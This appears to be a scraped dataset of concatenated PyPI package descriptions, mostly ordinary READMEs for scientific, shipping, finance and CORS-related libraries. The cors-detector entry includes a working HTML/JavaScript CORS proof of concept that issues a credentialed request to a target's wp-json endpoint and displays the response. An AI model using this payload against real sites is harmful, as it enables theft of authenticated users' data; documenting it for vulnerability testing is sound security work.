Saravanan666/pypi-org huggingface dataset:
Package: correlationplus
correlationplusA Python package to calculate, visualize and analyze correlation maps of proteins.correlationplus contains four main scripts that you can use to calculate, visualize
and analyze correlation maps of proteins.
These correlations can be dynamical cross-correlations, linear mutual
information, sequence based covariation/coevolution or any other pairwise coupling metric.
You can use elastic network models or your molecular dynamics trajectories for calculation
of dynamical correlations.Video TutorialsInstallation:https://www.youtube.com/watch?v=Fc_xpnrbbWUCalculate Module:https://www.youtube.com/watch?v=04b7mdulHW8Visualize Module:https://www.youtube.com/watch?v=HgUVAV1unXsAnalyze Module:https://www.youtube.com/watch?v=04BwJDauOn4Sequence Conservation Analysis with CoeViz and correlationplus (Part 1):https://www.youtube.com/watch?v=ieu91glEd0sSequence Conservation Analysis with CoeViz and correlationplus (Part 2):https://www.youtube.com/watch?v=BuxQNFoid1AInstallationWe recommend one of the installation methods for regular users:with pipThe pip version required by some dependencies is >= 21.0.1, which is not the pip version bundle with python 3.(6,7,8)
So, you have to update pip before installingcorrelationplus. Otherwise, you will have trouble duringMDAnalysisdependency installation.
For this reason, westronglyencourage you to install correlationplus in avirtualenv.python3-mvenvcorrelationpluscdcorrelationplussourcebin/activate
python3-mpipinstall-Upip
python3-mpipinstallcorrelationplusif you want to install it without using a virtualenv
and encounter an error related to llvmlite, you can
solve it as follows:python3-mpipinstallllvmlite--ignore-installed
python3-mpipinstallcorrelationplusor if you do not have administration rightspython3-mpipinstall--userllvmlite--ignore-installed
python3-mpipinstall--usercorrelationpluswith condacondainstall-cbiocondacorrelationplusMost of the time, at least one these methods will be sufficient for the installation.
However, if these two methods didn't work for any reason, you can take a look
to 'Advanced Installation' instructions athttps://correlationplus.readthedocs.io/en/latest/installation.html#advanced-installation.QuickstartThere are four main scrips:calculatevisualizeanalyzepathsYou can find details of each script with the following commands:correlationpluscalculate-h
correlationplusvisualize-h
correlationplusanalyze-h
correlationpluspaths-hGo to ourreadthedocsfor
detailed usage examples for each script.CiteIf you use correlationplus, please cite us:Extracting Dynamical Correlations and Identifying Key Residues for Allosteric Communication in Proteins by correlationplusMustafa Tekpinar, Bertrand Neron, and Marc Delarue
Journal of Chemical Information and Modeling Article ASAPDOI: 10.1021/acs.jcim.1c00742Licensingcorrelationplusis developed and released underGNU Lesser GPL Licence.
Please read to theCOPYINGandCOPYING.LESSERfiles to know more.
Package: correos
Python API Correos carrier.FeaturesServicesTest connectionCreate/Send shipments to CorreosGet label shipment in PDFUsage ExamplesExample API in test.py fileServicesfromcorreos.utilsimportservicesservices()Test connectionwithAPI(username,password,code,debug)ascorreos_api:printcorreos_api.test_connection()OficinasGet Correos offices by zipwithAPI(username,password,code,debug)ascorreos_api:zip='08720'printcorreos_api.oficinas(zip)Create/send shipment to CorreoswithPicking(username,password,code,debug)aspicking_api:data={...}reference,label,error=picking_api.create(data)Get label shipmentwithPicking(username,password,code,debug)aspicking_api:data={...}label=picking_api.label(data)
Package: correos-seguimiento
:warning: WORK IN PROGRESS :warning:This library is a Python wrapper for accessing Seguimiento Correos JSON API.OperationsThe API will provide all the necessary data for tracking a shipment. With this module you can check if the parcel is already delivered or relabeled and get the new tracking code.More info about the API indocs.Installation$ pip install correos-seguimientoUsageCheck if shipment is delivered>>>fromcorreos_seguimiento.services.shipmentimportTrackingShipment>>>>>>shipment=TrackingShipment("XXX","XXX","PQXXX10721392610108021C").build()>>>shipment.is_delivered()False>>>shipment.is_delivered()TrueCheck if shipment is relabeled and get the new tracking code>>>fromcorreos_seguimiento.services.shipmentimportTrackingShipment>>>>>>shipment=TrackingShipment("XXX","XXX","PQXXX10721392610108021C").build()>>>shipment.is_delivered()False>>>shipment.is_relabeled()True>>>shipment.get_relabeled_shipment_code()"PY53VM9100000810108640T"Check if shipment is returned>>>fromcorreos_seguimiento.services.shipmentimportTrackingShipment>>>>>>shipment=TrackingShipment("XXX","XXX","PQXXX10721392610108021C").build()>>>shipment.is_returned()False>>>shipment.is_returned()TrueDevelopmentSetup environmentInstallpyenvcurlhttps://pyenv.run|bashBuild the Python versionpyenvinstall3.7.13Create a virtualenvpyenvvirtualenv3.7.13correos-seguimientoInstall dependenciespyenvexecpipinstall-rrequirements.txtInstall pre-commit hookspyenvexecpre-commitinstallTest the HTTP requestWe are using the HTTP recording plugin of Pytest:pytest-recording.With VRC we can catch the HTTP responses and then, execute the tests using them.To add a new test:Expose the needed envvars. Look for them at theConfiguration Environment sectionExecute the tests usingpytestcommand:If you are writing a new test that is making requests, you should run:$ pytest --record-mode=once path/to/your/testYou might need to record requests for an specific tests. In that case make sure to only run the tests affected and run$ pytest --record-mode=rewrite path/to/your/testAdd the newcassetesto the commit and push them.The CI uses the cassetes to emulate the HTTP response in the test.Run test suite$ toxFormattingWe useBlackas formatter.
First to commit, tun theblackcommand:$ black .
All done! ✨ 🍰 ✨
29 files left unchanged.DarkerBlack is a great formatter, but to mantain your code without execute theblackcommand avery time, you can configure your IDE to usedarkerto format only the changed or added code when you save the file.Release processUpdate CHANGELOG.md following this steps:Add any entries missing from merged merge requests.Duplicate the[Unreleased]header.Replace the secondUnreleasedwith a version number followed by the current date. Copy the exact format from previous releases.Then, you can release and publish the package to PyPi:Update theVERSIONvar insetup.pymatching the version you specified in the CHANGELOG.Open a merge request with these changes for the team to approveMerge it, add a git tag on that merge commit and push it.Once the pipeline has successfully passed, your package had been published.
Package: correpy
CorrePyCorrePy (Corretagem Python) é uma lib responsável por parsear notas de corretagem no padrão B3 (Sinacor) e retornar os
dados em um formato estruturado para que você possa utilizar em suas aplicações.InstalaçãoEste projeto suporta qualquer versão do python >= 3.8pip install correpyComo usarDepois de instalada, sua utilização é extremamente simples. Primeiramente vamos precisar abrir o PDF com a nota de corretagem.
Se você estiver utilizando essa lib em uma API, você precisará transformar seu arquivo PDF em BytesIO.importiowithopen('path to your pdf file','rb')asf:content=io.BytesIO(f.read())content.seek(0)O conteúdo da sua nota de corretagem estará na variávelcontente é ela quem iremos usar para inicializar a nossa lib.
Se a sua nota de corretagem possuir senha, você precisará informar também, caso contrário o parser nâo irá funcionar.importiofromcorrepy.parsers.brokerage_notes.b3_parser.b3_parserimportB3Parserwithopen('path to your pdf file','rb')asf:content=io.BytesIO(f.read())content.seek(0)brokerage_notes=B3Parser(brokerage_note=content,password="password").parse_brokerage_note()ResultadoDepois de efetuar o parser da sua nota de corretagem,correpyirá retornar uma lista no formato abaixo. Os valores de cada campo serão explicados em seguida.[BrokerageNote(reference_date=date(2022,5,2),settlement_fee=Decimal("7.92"),registration_fee=Decimal("0"),term_fee=Decimal("0"),ana_fee=Decimal("0"),emoluments=Decimal("1.58"),operational_fee=Decimal("0"),execution=Decimal("0"),custody_fee=Decimal("0"),taxes=Decimal("0"),others=Decimal("0"),transactions=[Transaction(transaction_type=TransactionType.SELL,amount=54,unit_price=Decimal('24.99'),security=Security(name='BBSEGURIDADE ON NM')),Transaction(transaction_type=TransactionType.BUY,amount=200,unit_price=Decimal('17.29'),security=Security(name='MOVIDA ON NM'))])]Descrição das entidadesAbaixo você pode encontrar a descrição de cada um dos campos retornados.Brokerage NoteBrokerageNotereference_dateData do pregãosettlement_feeTaxa de liquidaçãoregistration_feeTaxa de registroterm_feeTaxa de termo/opçõesana_feeTaxa A.N.AemolumentsEmolumentosoperational_feeTaxa OperacionalexecutionExecuçãocustody_feeTaxa de custódiataxesImpostosothersOutrostransactionsLista detransaçõesTransactionTransactiontransaction_typeEnum com o tipo de transação (BUY - compra, SELL - venda)amountQuantidadeunit_priceValor unitáriosecurityObjetoSecurityrepresentando um títulosource_witheld_taxesIRRF retido na fonte (0.005% sobre o valor total de venda)SecuritySecuritynameEspecificação do títuloComo contribuirEstamos utilizando poetry para gerenciar o projeto e suas dependencias.Este projeto ainda está em evolução e qualquer PR é bem vindo. Algumas ferramentas estão sendo utilizadas para melhorar a qualidade do código:MyPy para checagem estática de tiposPyLintBlackisortPara verificar se o seu código continua de acordo com os critérios definidos, basta rodar./pipeline/lint.sh.
Package: correspondentia
CorrespondentiaPython library to map correspondence tables in different formats to data structures.A quick example:fromcorrespondentiaimportmatch_fieldsnumbers_to_names={1:[{"value":"one","type":"exact"}],2:[{"value":"two","weight":0.5,"type":"disaggregation"},{"value":"deux","weight":0.5,"type":"disaggregation"}],}my_data=[{'count':1,'name':'foo'},{'count':2,'name':'bar'}]list(match_fields(my_data,numbers_to_names,"count"))>[{'count':'one','name':'foo'},{'count':'two','name':'bar','correspondentia_allocation':0.5},{'count':'deux','name':'bar','correspondentia_allocation':0.5}]match_fieldsreturn a generator.Input dataInput data should be an iterable of objects supporting the dictionary interface.Input tablescorrespondentiacurrently can import the following formats:CSVs following the simple schemaWe plan to also eventually support the following:RDF (Turtle) correspondence tables following the BONSAI specCSVs with BONSAI ontology predicatesYou can also write custom importers, or define correspondence tables manually. In either case, the correspondence table data should include at least the following fields (additional fields are also allowed):{"label in origin schema (usually str, but can be int or float)":{"value":"label in destination schema (usually str, but can be int or float)","type":oneof["exact","disaggregation"],"weight":float,# optional}}Simple CSV schema for input tablesA CSV with two required and one optional columns.First column: Label in origin schemaSecond column: Label in destination schemaThird column (optional): Weight used for disaggregation.If matching is 1-N or N-1, just use multiple rows with redundant labels.CSVs should follow the Open Knowledge CSV spec. Do not use column headers.InstallationInstallation via normal pathways; currently has no dependencies.ContributingFollow standard fork/pull-request procedure.
Package: corrfeatred
corrfeatredselect features using correlation matrixInstallationpipinstallcorrfeatredUsagefromcorrfeatredimportreduce_featurescorrelation_matrix=#correlation matrixfeature_set=reduce_features(correlation_matrix,threshold=0.8,policy='min')# if you want another set of features for same correlation matrix, then use random seed to change the output.different_feature_set=reduce_features(correlation_matrix,threshold=0.8,policy='min',random_seed=42)Idea and workflowCurrently there is only one function which takes correlation matrix and thresholds as input and then constructs a graph.We create a graph where each node is represents a feature, and edge represents collinearity between the features. Then maximal cliques present in the graph are calculated.Each clique represents a cluster of features that are correlated with each other, and hence only one feature from this cluster is enough to represent whole cluster in the final feature sets. Hence, we can have multiple policies about how we want to choose the features (minimum number of features, maximum number of features etc).Our goal is to have at max one feature from each clique.And finally the feature set we get from this function will all have pairwise correlation less than the threshhold.
Package: corrfitter
This module contains tools for least-squares fits, as functions
of timet, of simulation (or other statistical) data for 2-point and
3-point correlators of the form:Gab(t)    =  <b(t) a(0)>
Gavb(t,T) =  <b(T) V(t) a(0)>Each correlator is modeled usingCorr2for 2-point correlators, orCorr3for 3-point correlators in terms of amplitudes for each sourcea, sinkb, and vertexV, and the energies associated with each
intermediate state. The amplitudes and energies are adjusted in the
least-squares fit to reproduce the data; they are specified in a shared prior
(typically a dictionary).An object of typeCorrFitterdescribes a collection of correlators and is
used to fit multiple models to data simultaneously. Any number of
correlators may be described and fit by a singleCorrFitterobject.CorrFitterobjects can also be used to to extract the appropriate fit
data fromDatasetobjects.This module has been used extensively for analyzing results from lattice QCD
simulations. Documentation for this module can be found by looking atdoc/html/index.htmlor <https://corrfitter.readthedocs.io>. The.pyfiles in directoryexamples/also illustrate how to use corrfitter; seeexamples/READMEfor more information.Information on how to install the library is in the file INSTALLATION.
To test the module try ‘make tests’.This module requires thelsqfitandgvarPython packages.Background information on the some of the fitting strategies used bycorrfittercan be found by doing a web searches for “hep-lat/0110175”,
“arXiv:1111.1363”, and :arXiv:1406.2279” (appendix). These are papers by
G.P. Lepage and collaborators whose published versions are:
G.P. Lepage et al, Nucl.Phys.Proc.Suppl. 106 (2002) 12-20;
K. Hornbostel et al, Phys.Rev. D85 (2012) 031504; and
C.M. Bouchard et al, Phys.Rev. D90 (2014) 054506.corrfitterversion numbers have the formmajor.minor.patchwhere
incompatible changes are signaled by incrementing themajorversion
number, theminornumber signals new features, and  thepatchnumber
signals bug fixes.Created by G. Peter Lepage (Cornell University) on 2008-02-12.Copyright (c) 2008-21 G. Peter Lepage.
Package: corsa
Corsa proxies HTTP requests, addsCORS headersand can also serve your static web application.Features:proxy requests for/proxy/http://host/pathtohttp://host/pathsetAccess-Control-Allow-Originheaderssupport for CORS preflight requestssupport for GET, HEAD, POST, PUT, DELETE, OPTIONSserve static content from/app/(--app-dir)limit proxy hosts (--allow-proxy)limit origin (--allow-origin)Corsa is powered by Python and Tornado and is licensed under the MIT license.ExampleYou have a static web app in./mywebappthat loads images fromhttp://imagesource.exampleand stores them in a local CouchDB?
Due to the cross-domain restrictions of all modern browsers, you won’t be able to access the image data and you won’t be able to access the CouchDB.
Cross-origin resource sharing (CORS) is a mechanism to work around that and Corsa will set the appropriate CORS headers for you.Start Corsa:% corsa --app-dir ./mywebapp --allow-proxy http://imagesource.example,http://localhost:5984Configure your web app to use/proxy/http://imagesource.exampleas the image source and/proxy/http://localhost:5984as your CouchDB URL and go tohttp://localhost:8888/app/index.html.If you application is allready running athttp://localhost:8080:% corsa --allow-proxy http://imagesource.example,http://localhost:5984 --allow-origin http://localhost:8080OptionsTo proxy specific URLs:% corsa --allow-proxy http://httpbin.org --allow-origin ALL

% curl http://localhost:8888/proxy/http://httpbin.org/get -D -
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
[...]You can restrict proxying to specific origins. Origin should be the host where your requests to Corsa comes from.% corsa --allow-proxy http://httpbin.org --allow-origin http://myexample

% curl http://localhost:8888/proxy/http://httpbin.org/get -H 'Origin: http://myexample' -D -
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://myexample
[...]

% curl http://localhost:8888/proxy/http://httpbin.org/get -H 'Origin: http://otherdomain' -D -
HTTP/1.1 403 Forbidden
[...]You can also host a static web app with Corsa:% mkdir app
% echo 'hello' >> app/index.html
% corsa --app-dir app

% curl http://localhost:8888/app/index.html -D -
HTTP/1.1 200 OK
Content-Length: 6
[...]
Content-Type: text/html

hello--allow-origindefaults toSELFwhich is an alias for the URL of the Corsa server. This way your web app is able to make requests to all--allow-proxyhosts by default.You can permit all origins and proxy hosts with theALLalias:% corsa --allow-proxy ALL --allow-origin ALL

% curl http://localhost:8888/proxy/https://github.com/ -D -
HTTP/1.1 200 OK
[...]Corsa listens tohttp://localhost:8888by default, but you can change that with the--bindoption:% corsa --bind :9999
% corsa --bind 0.0.0.0
% corsa --bind 0.0.0.0:9090InstallationCorsa is written in Python and requiresTornado.
It was tested with Python 2.7/3.3 and Tornado 3.1.Corsa ishosted on pypiso you can install it with:pip install corsa
Package: corsair
CorsairCorsair is a tool that makes it easy to create and maintain control and status register (CSR) map for any HDL project. It allows you to describe your register map in a single file and then generate HDL code, headers, documentation and other things. This effectively eliminates any mismatches between hardware, software and documentation of your IP-core.FeaturesVarious human-readable input formats: JSON, YAML or plain text tableHDL code generation: Verilog or VHDL module with register map, Verilog header or SystemVerilog package with parameters and definitionsMulti-protocol support: APB, AXI-Lite, Avalon-MMDocumentation generation: Markdown, AsciiDocGeneration of software-related files: C header, Python moduleExtensibility: support of external file generatorsAPI: creation of custom workflow with corsair APICorsair documentation is on theReadTheDocs.io.InstallDepending on your system, Python 3 executable might bepythonorpython3.
If there any permissions issues, add--userkey to the installation scripts.To install the latest stable release:python3-mpipinstall-UcorsairQuick startThe best way to start is to create templates. You can create one for a register map in a format you like (choose onе fromjson,yaml,txt) :corsair-tyamlThis generates two files: one for register map in the format specifiedregs.yaml, and other for configuration -csrconfig.Register map consists of a collection of memory mapped registers (also referred as CSRs), and registers are made up of bit fields. For example, register map of one register looks like this in YAML:regmap:-name:CTRLdescription:Control registeraddress:8bitfields:-name:BAUDdescription:Baudrate valuereset:0width:2lsb:0access:rwhardware:oenums:-name:B9600description:9600 baudvalue:0-name:B38400description:38400 baudvalue:1-name:B115200description:115200 baudvalue:2To know more about registers, bit fields and their attributes please check theRegister mapdocumentation page.Corsair is configuration-file-oriented tool. By default, it uses INI configuration filecsrconfig. It specifies all the things needed for generation - input register map file, global parameters and output files (also called targets). It may looks like this:[globcfg]data_width=32address_width=16register_reset=sync_pos[v_module]path=regs.vinterface=axilgenerator=Verilog[c_header]path=regs.hgenerator=CHeaderCheck theConfiguration filepage to get more details aboutcsrconfigand theIntroductionpage to get general information about workflow.csrconfigalso acts like a build script for corsair, so just run in the directory withcsrconfigfile:corsairAnd then all the magic happens.There are some additional options for overriding working directory, register map or configuration file - to get help simply runcorsair-hIf you looking for some more examples please checkexamplesfolder.DevelopmentPlease follow theDeveloper's Guide.LicenseCorsair is licensed underMIT License.
Package: cors-detector
CORS-FinderThis tools is developed for identifying the vulnerable cors domainHow to install CORS-Finder:git clone https://github.com/hariharan005/CORS.git     
ls    
cd CORS
sudo pip3 install -r requirements.txt    
python3 cors.pyPython Version:Python 3 (3.x.x) latest versionHow to Use CORS-Finder:For scanning:
       cat <domain.txt> | xargs -n1 -P10 python3 corss.py                           
For scanning with output:  
       cat <domain.txt> | xargs -n1 -P10 python3 corss.py | tee -a <output.txt>When its vulnerable:If the header returns the
Access-Control-Allow-Origin:https://vulnerable.com/Access-Control-Allow-Credentials: true
its vulnerableNote: Not all the time its seems vulnerable, you have to check with cors payload and in the authenticated manner also. Try to exploit and this tool is only for indentifying the vulnerable domainNote: In this tool i used sample domain file but you have to choose your own url file which you recon using some other recon tool.Exploitation examples:Here is the Example code for exploiting the CORS misconfiguration:Goto this line and replace the URL xhr.open("GET", "https://www.vulnerable.com/blog/wp-json/", true);<!DOCTYPE html>
<html>
    <title>Cors POC</title>
    <style>
        body{
            background-color: white;
            justify-content: center;
        }
        button{
            justify-content: center;
            align-items: center;
            color: white;
            border-radius: 8px;
            font-size: 18px;
            background-color: #6437A0;
            position: relative;
            width: 10%;
            height: 50px;
            display: grid;
        }
    </style>
     <body>
         <h1>CORS PoC by @crypto_grapper_</h1><span><h2>Hariharan.C</h2></span>
         <div id="demo">
                <button type="button" onclick="cors()" >Wp-json Exploit</button>
            </div>
         </div>
         <script>
             function cors() {
             var xhr = new XMLHttpRequest();
             xhr.onreadystatechange = function() {
                 if (this.readyState == 4 && this.status == 200) {
                 document.getElementById("demo").innerHTML = alert(this.responseText);
                 }
             };
             xhr.open("GET", "https://www.vulnerable.com/blog/wp-json/", true);
             xhr.withCredentials = true;
             xhr.send();
             }
             setTimeout(() => {
                document.location.reload("#");
             }, 5000);
         </script>
     </body>
 </html>
Package: corsikaio
pycorsikaioPython module to read the CORSIKA binary output files.InstallRunpip install corsikaioFeaturesLoad CORSIKA binary particle or cherenkov data files using python and numpy.Also supports MMCS 6.5fromcorsikaioimportCorsikaCherenkovFileimportmatplotlib.pyplotaspltwithCorsikaCherenkovFile('cer000001')asf:print(f.run_header['run_number'])print(f.version)foreinf:print(e.header['total_energy'])plt.scatter(e.photons['x'],e.photons['y'])plt.show()
Package: corslib
Policy-based CORS support library for web applications.This is framework- and protocol-agnostic library that provides CORS policy object that is able to generate both preflight and regular response headers forCross Origin Resource Sharing.It tries to be as secure as it’s possible while being usable for both development and production. The goal is to provide header generation facility that has no inherent insecurities and does not pruce insecure result under any circumstances.